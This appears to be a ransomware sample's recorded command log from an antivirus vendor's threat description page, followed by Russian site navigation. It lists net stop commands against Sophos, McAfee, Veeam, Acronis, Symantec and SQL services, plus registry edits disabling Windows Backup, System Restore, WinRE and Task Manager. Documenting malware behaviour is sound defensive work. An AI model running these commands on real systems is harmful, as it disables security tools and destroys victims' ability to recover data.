'<SYSTEM32>\cmd.exe' /c net stop "MSSQL$ECWDB2"
'<SYSTEM32>\net1.exe' stop "McAfeeEngineService"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos MCS Client"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Filter Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "SQLsafe Filter Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Symantec System Recovery"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Symantec System Recovery"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "AcronisAgent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "AcronisAgent"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "SQLsafe Backup Service"
'<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Backup Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Message Router"
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Message Router"
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Safestore Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos System Protection Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos System Protection Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Web Control Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Web Control Service"
'<SYSTEM32>\net1.exe' stop "Sophos Safestore Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Client"
'<SYSTEM32>\net1.exe' stop "MSSQL$ECWDB2"

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней